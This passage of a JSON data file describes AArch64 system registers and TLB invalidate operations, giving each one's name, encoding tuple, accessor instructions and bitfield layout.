"lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}, {"instance": "exception taken from AArch64", "fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "TCO", "msb": 25, "lsb": 25}, {"name": "DIT", "msb": 24, "lsb": 24}, {"name": "UAO", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "SS", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "SSBS", "msb": 12, "lsb": 12}, {"name": "BTYPE", "msb": 11, "lsb": 10}, {"name": "D", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "M[4]", "msb": 4, "lsb": 4}, {"name": "M[3:0]", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_fiq", "fullname": "Saved Program Status Register (FIQ mode)", "enc": [3, 4, 4, 3, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "J", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "DIT", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4:0]", "msb": 4, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_irq", "fullname": "Saved Program Status Register (IRQ mode)", "enc": [3, 4, 4, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "J", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "DIT", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4:0]", "msb": 4, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SPSR_und", "fullname": "Saved Program Status Register (Undefined mode)", "enc": [3, 4, 4, 3, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "Q", "msb": 27, "lsb": 27}, {"name": "IT", "msb": 26, "lsb": 25}, {"name": "J", "msb": 24, "lsb": 24}, {"name": "SSBS", "msb": 23, "lsb": 23}, {"name": "PAN", "msb": 22, "lsb": 22}, {"name": "DIT", "msb": 21, "lsb": 21}, {"name": "IL", "msb": 20, "lsb": 20}, {"name": "GE", "msb": 19, "lsb": 16}, {"name": "IT[7:2]", "msb": 15, "lsb": 10}, {"name": "E", "msb": 9, "lsb": 9}, {"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}, {"name": "T", "msb": 5, "lsb": 5}, {"name": "M[4:0]", "msb": 4, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "SSBS", "fullname": "Speculative Store Bypass Safe", "enc": [3, 3, 4, 2, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "SSBS", "msb": 12, "lsb": 12}]}], "width": 64}, {"index": 0, "name": "TCO", "fullname": "Tag Check Override", "enc": [3, 3, 4, 2, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TCO", "msb": 25, "lsb": 25}]}], "width": 64}, {"index": 0, "name": "TCR_EL1", "fullname": "Translation Control Register (EL1)", "enc": [3, 0, 2, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "DS", "msb": 59, "lsb": 59}, {"name": "TCMA1", "msb": 58, "lsb": 58}, {"name": "TCMA0", "msb": 57, "lsb": 57}, {"name": "E0PD1", "msb": 56, "lsb": 56}, {"name": "E0PD0", "msb": 55, "lsb": 55}, {"name": "NFD1", "msb": 54, "lsb": 54}, {"name": "NFD0", "msb": 53, "lsb": 53}, {"name": "TBID1", "msb": 52, "lsb": 52}, {"name": "TBID0", "msb": 51, "lsb": 51}, {"name": "HWU162", "msb": 50, "lsb": 50}, {"name": "HWU161", "msb": 49, "lsb": 49}, {"name": "HWU160", "msb": 48, "lsb": 48}, {"name": "HWU159", "msb": 47, "lsb": 47}, {"name": "HWU062", "msb": 46, "lsb": 46}, {"name": "HWU061", "msb": 45, "lsb": 45}, {"name": "HWU060", "msb": 44, "lsb": 44}, {"name": "HWU059", "msb": 43, "lsb": 43}, {"name": "HPD1", "msb": 42, "lsb": 42}, {"name": "HPD0", "msb": 41, "lsb": 41}, {"name": "HD", "msb": 40, "lsb": 40}, {"name": "HA", "msb": 39, "lsb": 39}, {"name": "TBI1", "msb": 38, "lsb": 38}, {"name": "TBI0", "msb": 37, "lsb": 37}, {"name": "AS", "msb": 36, "lsb": 36}, {"name": "IPS", "msb": 34, "lsb": 32}, {"name": "TG1", "msb": 31, "lsb": 30}, {"name": "SH1", "msb": 29, "lsb": 28}, {"name": "ORGN1", "msb": 27, "lsb": 26}, {"name": "IRGN1", "msb": 25, "lsb": 24}, {"name": "EPD1", "msb": 23, "lsb": 23}, {"name": "A1", "msb": 22, "lsb": 22}, {"name": "T1SZ", "msb": 21, "lsb": 16}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SH0", "msb": 13, "lsb": 12}, {"name": "ORGN0", "msb": 11, "lsb": 10}, {"name": "IRGN0", "msb": 9, "lsb": 8}, {"name": "EPD0", "msb": 7, "lsb": 7}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TCR_EL12", "fullname": "Translation Control Register (EL1)", "enc": [3, 5, 2, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "DS", "msb": 59, "lsb": 59}, {"name": "TCMA1", "msb": 58, "lsb": 58}, {"name": "TCMA0", "msb": 57, "lsb": 57}, {"name": "E0PD1", "msb": 56, "lsb": 56}, {"name": "E0PD0", "msb": 55, "lsb": 55}, {"name": "NFD1", "msb": 54, "lsb": 54}, {"name": "NFD0", "msb": 53, "lsb": 53}, {"name": "TBID1", "msb": 52, "lsb": 52}, {"name": "TBID0", "msb": 51, "lsb": 51}, {"name": "HWU162", "msb": 50, "lsb": 50}, {"name": "HWU161", "msb": 49, "lsb": 49}, {"name": "HWU160", "msb": 48, "lsb": 48}, {"name": "HWU159", "msb": 47, "lsb": 47}, {"name": "HWU062", "msb": 46, "lsb": 46}, {"name": "HWU061", "msb": 45, "lsb": 45}, {"name": "HWU060", "msb": 44, "lsb": 44}, {"name": "HWU059", "msb": 43, "lsb": 43}, {"name": "HPD1", "msb": 42, "lsb": 42}, {"name": "HPD0", "msb": 41, "lsb": 41}, {"name": "HD", "msb": 40, "lsb": 40}, {"name": "HA", "msb": 39, "lsb": 39}, {"name": "TBI1", "msb": 38, "lsb": 38}, {"name": "TBI0", "msb": 37, "lsb": 37}, {"name": "AS", "msb": 36, "lsb": 36}, {"name": "IPS", "msb": 34, "lsb": 32}, {"name": "TG1", "msb": 31, "lsb": 30}, {"name": "SH1", "msb": 29, "lsb": 28}, {"name": "ORGN1", "msb": 27, "lsb": 26}, {"name": "IRGN1", "msb": 25, "lsb": 24}, {"name": "EPD1", "msb": 23, "lsb": 23}, {"name": "A1", "msb": 22, "lsb": 22}, {"name": "T1SZ", "msb": 21, "lsb": 16}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SH0", "msb": 13, "lsb": 12}, {"name": "ORGN0", "msb": 11, "lsb": 10}, {"name": "IRGN0", "msb": 9, "lsb": 8}, {"name": "EPD0", "msb": 7, "lsb": 7}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TCR_EL1", "fullname": "Translation Control Register (EL2)", "enc": [3, 0, 2, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HCR_EL2.E2H==0", "fields": [{"name": "DS", "msb": 32, "lsb": 32}, {"name": "TCMA", "msb": 30, "lsb": 30}, {"name": "TBID", "msb": 29, "lsb": 29}, {"name": "HWU62", "msb": 28, "lsb": 28}, {"name": "HWU61", "msb": 27, "lsb": 27}, {"name": "HWU60", "msb": 26, "lsb": 26}, {"name": "HWU59", "msb": 25, "lsb": 25}, {"name": "HPD", "msb": 24, "lsb": 24}, {"name": "HD", "msb": 22, "lsb": 22}, {"name": "HA", "msb": 21, "lsb": 21}, {"name": "TBI", "msb": 20, "lsb": 20}, {"name": "PS", "msb": 18, "lsb": 16}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SH0", "msb": 13, "lsb": 12}, {"name": "ORGN0", "msb": 11, "lsb": 10}, {"name": "IRGN0", "msb": 9, "lsb": 8}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}, {"instance": "HCR_EL2.E2H==1", "fields": [{"name": "DS", "msb": 59, "lsb": 59}, {"name": "TCMA1", "msb": 58, "lsb": 58}, {"name": "TCMA0", "msb": 57, "lsb": 57}, {"name": "E0PD1", "msb": 56, "lsb": 56}, {"name": "E0PD0", "msb": 55, "lsb": 55}, {"name": "NFD1", "msb": 54, "lsb": 54}, {"name": "NFD0", "msb": 53, "lsb": 53}, {"name": "TBID1", "msb": 52, "lsb": 52}, {"name": "TBID0", "msb": 51, "lsb": 51}, {"name": "HWU162", "msb": 50, "lsb": 50}, {"name": "HWU161", "msb": 49, "lsb": 49}, {"name": "HWU160", "msb": 48, "lsb": 48}, {"name": "HWU159", "msb": 47, "lsb": 47}, {"name": "HWU062", "msb": 46, "lsb": 46}, {"name": "HWU061", "msb": 45, "lsb": 45}, {"name": "HWU060", "msb": 44, "lsb": 44}, {"name": "HWU059", "msb": 43, "lsb": 43}, {"name": "HPD1", "msb": 42, "lsb": 42}, {"name": "HPD0", "msb": 41, "lsb": 41}, {"name": "HD", "msb": 40, "lsb": 40}, {"name": "HA", "msb": 39, "lsb": 39}, {"name": "TBI1", "msb": 38, "lsb": 38}, {"name": "TBI0", "msb": 37, "lsb": 37}, {"name": "AS", "msb": 36, "lsb": 36}, {"name": "IPS", "msb": 34, "lsb": 32}, {"name": "TG1", "msb": 31, "lsb": 30}, {"name": "SH1", "msb": 29, "lsb": 28}, {"name": "ORGN1", "msb": 27, "lsb": 26}, {"name": "IRGN1", "msb": 25, "lsb": 24}, {"name": "EPD1", "msb": 23, "lsb": 23}, {"name": "A1", "msb": 22, "lsb": 22}, {"name": "T1SZ", "msb": 21, "lsb": 16}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SH0", "msb": 13, "lsb": 12}, {"name": "ORGN0", "msb": 11, "lsb": 10}, {"name": "IRGN0", "msb": 9, "lsb": 8}, {"name": "EPD0", "msb": 7, "lsb": 7}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TCR_EL2", "fullname": "Translation Control Register (EL2)", "enc": [3, 4, 2, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HCR_EL2.E2H==0", "fields": [{"name": "DS", "msb": 32, "lsb": 32}, {"name": "TCMA", "msb": 30, "lsb": 30}, {"name": "TBID", "msb": 29, "lsb": 29}, {"name": "HWU62", "msb": 28, "lsb": 28}, {"name": "HWU61", "msb": 27, "lsb": 27}, {"name": "HWU60", "msb": 26, "lsb": 26}, {"name": "HWU59", "msb": 25, "lsb": 25}, {"name": "HPD", "msb": 24, "lsb": 24}, {"name": "HD", "msb": 22, "lsb": 22}, {"name": "HA", "msb": 21, "lsb": 21}, {"name": "TBI", "msb": 20, "lsb": 20}, {"name": "PS", "msb": 18, "lsb": 16}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SH0", "msb": 13, "lsb": 12}, {"name": "ORGN0", "msb": 11, "lsb": 10}, {"name": "IRGN0", "msb": 9, "lsb": 8}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}, {"instance": "HCR_EL2.E2H==1", "fields": [{"name": "DS", "msb": 59, "lsb": 59}, {"name": "TCMA1", "msb": 58, "lsb": 58}, {"name": "TCMA0", "msb": 57, "lsb": 57}, {"name": "E0PD1", "msb": 56, "lsb": 56}, {"name": "E0PD0", "msb": 55, "lsb": 55}, {"name": "NFD1", "msb": 54, "lsb": 54}, {"name": "NFD0", "msb": 53, "lsb": 53}, {"name": "TBID1", "msb": 52, "lsb": 52}, {"name": "TBID0", "msb": 51, "lsb": 51}, {"name": "HWU162", "msb": 50, "lsb": 50}, {"name": "HWU161", "msb": 49, "lsb": 49}, {"name": "HWU160", "msb": 48, "lsb": 48}, {"name": "HWU159", "msb": 47, "lsb": 47}, {"name": "HWU062", "msb": 46, "lsb": 46}, {"name": "HWU061", "msb": 45, "lsb": 45}, {"name": "HWU060", "msb": 44, "lsb": 44}, {"name": "HWU059", "msb": 43, "lsb": 43}, {"name": "HPD1", "msb": 42, "lsb": 42}, {"name": "HPD0", "msb": 41, "lsb": 41}, {"name": "HD", "msb": 40, "lsb": 40}, {"name": "HA", "msb": 39, "lsb": 39}, {"name": "TBI1", "msb": 38, "lsb": 38}, {"name": "TBI0", "msb": 37, "lsb": 37}, {"name": "AS", "msb": 36, "lsb": 36}, {"name": "IPS", "msb": 34, "lsb": 32}, {"name": "TG1", "msb": 31, "lsb": 30}, {"name": "SH1", "msb": 29, "lsb": 28}, {"name": "ORGN1", "msb": 27, "lsb": 26}, {"name": "IRGN1", "msb": 25, "lsb": 24}, {"name": "EPD1", "msb": 23, "lsb": 23}, {"name": "A1", "msb": 22, "lsb": 22}, {"name": "T1SZ", "msb": 21, "lsb": 16}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SH0", "msb": 13, "lsb": 12}, {"name": "ORGN0", "msb": 11, "lsb": 10}, {"name": "IRGN0", "msb": 9, "lsb": 8}, {"name": "EPD0", "msb": 7, "lsb": 7}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TCR_EL3", "fullname": "Translation Control Register (EL3)", "enc": [3, 6, 2, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "DS", "msb": 32, "lsb": 32}, {"name": "TCMA", "msb": 30, "lsb": 30}, {"name": "TBID", "msb": 29, "lsb": 29}, {"name": "HWU62", "msb": 28, "lsb": 28}, {"name": "HWU61", "msb": 27, "lsb": 27}, {"name": "HWU60", "msb": 26, "lsb": 26}, {"name": "HWU59", "msb": 25, "lsb": 25}, {"name": "HPD", "msb": 24, "lsb": 24}, {"name": "HD", "msb": 22, "lsb": 22}, {"name": "HA", "msb": 21, "lsb": 21}, {"name": "TBI", "msb": 20, "lsb": 20}, {"name": "PS", "msb": 18, "lsb": 16}, {"name": "TG0", "msb": 15, "lsb": 14}, {"name": "SH0", "msb": 13, "lsb": 12}, {"name": "ORGN0", "msb": 11, "lsb": 10}, {"name": "IRGN0", "msb": 9, "lsb": 8}, {"name": "T0SZ", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TFSRE0_EL1", "fullname": "Tag Fault Status Register (EL0).", "enc": [3, 0, 5, 6, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TF1", "msb": 1, "lsb": 1}, {"name": "TF0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TFSR_EL1", "fullname": "Tag Fault Status Register (EL1)", "enc": [3, 0, 5, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TF1", "msb": 1, "lsb": 1}, {"name": "TF0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TFSR_EL12", "fullname": "Tag Fault Status Register (EL1)", "enc": [3, 5, 5, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TF1", "msb": 1, "lsb": 1}, {"name": "TF0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TFSR_EL2", "fullname": "Tag Fault Status Register (EL1)", "enc": [3, 4, 5, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TF1", "msb": 1, "lsb": 1}, {"name": "TF0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TFSR_EL1", "fullname": "Tag Fault Status Register (EL2)", "enc": [3, 0, 5, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TF1", "msb": 1, "lsb": 1}, {"name": "TF0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TFSR_EL2", "fullname": "Tag Fault Status Register (EL2)", "enc": [3, 4, 5, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TF1", "msb": 1, "lsb": 1}, {"name": "TF0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TFSR_EL3", "fullname": "Tag Fault Status Register (EL3)", "enc": [3, 6, 5, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TF0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ALLE1IS", "fullname": "TLB Invalidate All, EL1, Inner Shareable", "enc": [1, 4, 8, 3, 4], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE1ISNXS", "fullname": "TLB Invalidate All, EL1, Inner Shareable", "enc": [1, 4, 9, 3, 4], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE1OS", "fullname": "TLB Invalidate All, EL1, Outer Shareable", "enc": [1, 4, 8, 1, 4], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE1OSNXS", "fullname": "TLB Invalidate All, EL1, Outer Shareable", "enc": [1, 4, 9, 1, 4], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE1", "fullname": "TLB Invalidate All, EL1", "enc": [1, 4, 8, 7, 4], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE1NXS", "fullname": "TLB Invalidate All, EL1", "enc": [1, 4, 9, 7, 4], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE2IS", "fullname": "TLB Invalidate All, EL2, Inner Shareable", "enc": [1, 4, 8, 3, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE2ISNXS", "fullname": "TLB Invalidate All, EL2, Inner Shareable", "enc": [1, 4, 9, 3, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE2OS", "fullname": "TLB Invalidate All, EL2, Outer Shareable", "enc": [1, 4, 8, 1, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE2OSNXS", "fullname": "TLB Invalidate All, EL2, Outer Shareable", "enc": [1, 4, 9, 1, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE2", "fullname": "TLB Invalidate All, EL2", "enc": [1, 4, 8, 7, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE2NXS", "fullname": "TLB Invalidate All, EL2", "enc": [1, 4, 9, 7, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE3IS", "fullname": "TLB Invalidate All, EL3, Inner Shareable", "enc": [1, 6, 8, 3, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE3ISNXS", "fullname": "TLB Invalidate All, EL3, Inner Shareable", "enc": [1, 6, 9, 3, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE3OS", "fullname": "TLB Invalidate All, EL3, Outer Shareable", "enc": [1, 6, 8, 1, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE3OSNXS", "fullname": "TLB Invalidate All, EL3, Outer Shareable", "enc": [1, 6, 9, 1, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE3", "fullname": "TLB Invalidate All, EL3", "enc": [1, 6, 8, 7, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ALLE3NXS", "fullname": "TLB Invalidate All, EL3", "enc": [1, 6, 9, 7, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "ASIDE1IS", "fullname": "TLB Invalidate by ASID, EL1, Inner Shareable", "enc": [1, 0, 8, 3, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}]}], "width": 64}, {"index": 0, "name": "ASIDE1ISNXS", "fullname": "TLB Invalidate by ASID, EL1, Inner Shareable", "enc": [1, 0, 9, 3, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}]}], "width": 64}, {"index": 0, "name": "ASIDE1OS", "fullname": "TLB Invalidate by ASID, EL1, Outer Shareable", "enc": [1, 0, 8, 1, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}]}], "width": 64}, {"index": 0, "name": "ASIDE1OSNXS", "fullname": "TLB Invalidate by ASID, EL1, Outer Shareable", "enc": [1, 0, 9, 1, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}]}], "width": 64}, {"index": 0, "name": "ASIDE1", "fullname": "TLB Invalidate by ASID, EL1", "enc": [1, 0, 8, 7, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}]}], "width": 64}, {"index": 0, "name": "ASIDE1NXS", "fullname": "TLB Invalidate by ASID, EL1", "enc": [1, 0, 9, 7, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}]}], "width": 64}, {"index": 0, "name": "IPAS2E1IS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, EL1, Inner Shareable", "enc": [1, 4, 8, 0, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2E1ISNXS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, EL1, Inner Shareable", "enc": [1, 4, 9, 0, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2E1OS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, EL1, Outer Shareable", "enc": [1, 4, 8, 4, 0], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2E1OSNXS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, EL1, Outer Shareable", "enc": [1, 4, 9, 4, 0], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2E1", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, EL1", "enc": [1, 4, 8, 4, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2E1NXS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, EL1", "enc": [1, 4, 9, 4, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2LE1IS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1, Inner Shareable", "enc": [1, 4, 8, 0, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2LE1ISNXS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1, Inner Shareable", "enc": [1, 4, 9, 0, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2LE1OS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1, Outer Shareable", "enc": [1, 4, 8, 4, 4], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2LE1OSNXS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1, Outer Shareable", "enc": [1, 4, 9, 4, 4], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2LE1", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1", "enc": [1, 4, 8, 4, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IPAS2LE1NXS", "fullname": "TLB Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1", "enc": [1, 4, 9, 4, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "IPA[51:48]", "msb": 39, "lsb": 36}, {"name": "IPA[47:12]", "msb": 35, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2E1IS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, EL1, Inner Shareable", "enc": [1, 4, 8, 0, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2E1ISNXS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, EL1, Inner Shareable", "enc": [1, 4, 9, 0, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": 